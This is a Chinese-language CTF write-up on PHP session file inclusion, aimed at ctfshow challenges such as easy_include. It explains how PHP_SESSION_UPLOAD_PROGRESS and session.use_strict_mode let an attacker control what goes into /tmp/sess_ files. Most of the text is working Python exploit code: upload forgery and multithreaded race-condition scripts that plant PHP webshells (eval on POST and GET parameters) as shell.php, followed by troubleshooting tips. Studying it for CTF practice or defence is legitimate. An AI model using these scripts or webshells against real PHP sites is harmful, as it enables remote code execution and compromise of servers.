session包含
# session包含
参考:
# session介绍
简单的理解,session是一个记录用户行为会话的信息,在php中默认是不会生成session的,但是允许用户自定义session
session会记录什么呢
提示
在服务器上存储用户信息以便随后使用(比如用户名称、购买商品,文件上传等)。然而,会话信息是临时的,这些session信息一般储存在/tmp/sess_sessionid文件中,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。
其他可能储存的位置,主要在/tmp/目录下
- /tmp/
- /tmp/sessions/
- /var/lib/php/
- /var/lib/php/sessions/
# 步入正题
它的正经用途介绍结束了,下面讲讲恶趣味
引用开头大佬文章内容
关键点:
- session文件默认用户可以自定义
- 文件上传时默认生成session,记录详细信息和跟踪上传进度
- session.upload_progress.cleanup配置项默认打开,伪造的文件上传后,会清空session
注意
通过伪造文件上传这一过程,让服务器生成session文件,session文件里会储存一些文件信息,例如文件名,文件内容,session保存位置
等信息的序列化格式,在这里,文件内容是可以伪造的,文件内容就是PHP_SESSION_UPLOAD_PROGRESS
上传进度的值。因为用户可以自定义session,所以上传进度变成可控的了,在下面的脚本中也会体现出来。
# QA
这里提到两个重点
session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”
默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,利用竞争在session文件内容清空前进行包含利用
# 测试
题目地址ctfshow easy_include (opens new window)
<?php
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}
2
3
4
5
6
7
8
9
10
通过伪造”文件上传“创建session脚本
import requests
# 如果题目链接是https,换成http
# url="https://642a817d-1d1a-4f22-aded-f796560bdd17.challenge.ctf.show/"
url="http://642a817d-1d1a-4f22-aded-f796560bdd17.challenge.ctf.show/"
sessionid = 'ctfshow'
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php phpinfo();?>',
'1': 'localhost/tmp/sess_'+sessionid,
}
file = {
'file': sessionid
}
cookies = {
'PHPSESSID': sessionid
}
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
可以把session内容换成以下内容,生成一个新的木马文件
<?php
file_put_contents("1.php","<?php eval(\$_POST[1]);?>");
?>
2
3
现在可以通过post传参传入1=localhost/tmp/sess_ctfshow包含这个session文件
讲到现在有什么疑惑吗。?
它的session文件没有被清除?
注意
session.upload_progress.cleanup = on //表示当文件上传结束后,php将会立即清空对应session文件中的内容
这个脚本并没有条件竞争功能,它的session文件在伪造的文件上传后,没有并被清空
提示
session文件是有生命周期的,一般是24分钟,但是他只是会过期,并不会删除,这么说可以一直利用?
这一题比较特殊,通过后期getshell查看phpinfo()函数时可以看到配置项session.upload_progress.cleanup是关的,应该是群主改了,好大的雷,趁热打铁复现时卡死我了,才去了解这个配置项
# 条件竞争
# post表单类型
<?php
error_reporting(0);
highlight_file(__FILE__);
include$_POST[1];
2
3
4
提示
session.upload_progress.cleanup=On # 一般都是开启的,文件上传后会清空session文件,清空后你再包含就达不到目的了
通过条件竞争,在session文件没有被清空时包含并执行,直接食用或者生成小马都行
import requests
import threading
import time
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
sessionid = 'ctfshow'
data = {
# session文件内容
'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>',
# session文件路径可能不同
'1': '/tmp/sess_' + sessionid,
}
file = {
'file': sessionid
}
cookies = {
'PHPSESSID': sessionid
}
# 上传文件函数
def upload_file():
while True:
response = requests.post(url, data=data, files=file, cookies=cookies)
time.sleep(1) # 为了避免发送请求过快,可以适当增加间隔时间
# 检查文件是否已创建
def check_file():
while True:
r = requests.get(url + 'shell.php')
if r.status_code == 200:
print('Webshell created successfully')
print(r.text)
break
else:
print('error:', r.status_code)
# time.sleep(1) # 为了避免发送请求过快,可以适当增加间隔时间
# 创建并启动线程
threads = []
for _ in range(5): # 创建5个上传线程
t = threading.Thread(target=upload_file)
t.start()
threads.append(t)
for _ in range(5): # 创建5个检查线程
t = threading.Thread(target=check_file)
t.start()
threads.append(t)
# 等待所有线程完成
for t in threads:
t.join()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# get表单类型
对post类型稍加修改
<?php
error_reporting(0);
highlight_file(__FILE__);
include$_GET[1];
2
3
4
条件竞争脚本
import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
sessionid = 'ctfshow'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url + '?1=/tmp/sess_' + sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ''
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
最后好奇的查看/tmp目录下的文件,看到一些奇怪的php开头的文件名,里面内容是ctfshow
根据开头这张图就可以解释这些文件名是什么了,session文件包含进来时,显示一个序列化的数组数据,这些php开头的文件是临时文件名
# 关于报错
# 长时间未写入
提示
检查脚本中参数是否服务题目要求
# 常见错误码
- 404:shell未写入,耐心等
- 500:shell写入了,但是存在语法错误。查看修改过程是否删掉了关键部分
- 200:成功写入
状态码500的补救措施
修改脚本中的sessionid,shell文件名,接着跑。创建一个新的shell